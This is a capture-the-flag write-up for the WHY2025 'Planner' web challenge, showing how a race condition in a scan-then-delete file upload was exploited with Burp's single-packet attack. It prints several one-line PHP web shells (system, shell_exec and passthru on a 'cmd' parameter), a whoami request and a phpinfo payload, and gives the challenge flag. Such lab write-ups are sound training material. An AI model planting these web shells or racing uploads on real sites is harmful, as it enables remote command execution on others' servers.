Why2025 Planner
Writeup for WHY2025 Planner (Web) - WHY CTF (2025) 💜
Description
We at WHY2025 are a well oiled machine, this is because we have this awesome planningtool we are developing, please check it out and add yourself to it!
Solution
We register/login and find a planning tool. We can add bullet points, but there doesn't appear to be any HTMLi.
More importantly, we can upload a file. There is no filter on the file extension or content-type, but our file is deleted immediately after the scan. According to the JS source, the site is expecting JSON content.
document.getElementById("uploadForm").addEventListener("submit", async function (e) {
e.preventDefault();
const formData = new FormData(this);
const statusDiv = document.getElementById("uploadStatus");
statusDiv.textContent = "Uploading and scanning file...";
statusDiv.className = "";
const response = await fetch("upload.php", {
method: "POST",
body: formData,
});
const text = await response.text();
// Match multiple JSON objects: greedy split on outermost }
const messages = text.match(/{[^}]+}/g);
if (!messages) {
statusDiv.textContent = "Invalid response.";
statusDiv.className = "error";
return;
}
statusDiv.innerHTML = ""; // clear previous output
messages.forEach((rawJson) => {
try {
const data = JSON.parse(rawJson);
const msg = document.createElement("div");
msg.textContent = data.message;
msg.className = data.status === "fail" || data.status === "deleted" ? "error" : "success";
statusDiv.appendChild(msg);
} catch (err) {
const errDiv = document.createElement("div");
errDiv.textContent = "Invalid JSON: " + rawJson;
errDiv.className = "error";
statusDiv.appendChild(errDiv);
}
});
});
However, even when sending a JSON file, the server says the file was deleted after scan (wrong type). I thought maybe we could fuzz file extensions/content-types, but then I remembered a Portswigger lab I solved in the past.
It was a race condition where users could upload files, but the file would be deleted quickly by the AV/firewall. If an attacker sent the file upload request at the same time as [several] requests to access the file, one of them might slip through before the file is deleted. For this, we need to know the location/filename. Luckily for us, this is already provided in the error feedback.
Race Condition
To test the hypothesis, I created a group of tabs in burp repeater. The first uploaded a valid JSON file and the next ~10 would request the file. Sending the group of requests using the last-byte sync (aka single packet attack) would result in some of the responses showing the contents of the JSON file, while others showed a 404 not found error.
I switched the file type to a basic PHP shell, with the rest of the repeater tabs making a GET request to /uploads/new.php?cmd=whoami
<?php system($_GET['cmd']); ?>
Unfortunately, all these requests came back with a 500 internal server error, or 404 not found. I changed the PHP file contents to a more benign one, and it worked (printed "meow").
<?php echo("meow") ?>
I tried a few alternative functions for command execution.
<?php system($_REQUEST["cmd"]); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<? passthru($_GET["cmd"]); ?>
They all failed! Eventually I tried to view the phpinfo()
<?php phpinfo(); ?>
When checking the responses, I see one with a 200 OK and long response body. Searching for "flag" reveals the correct flag 😎
Flag: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}
Last updated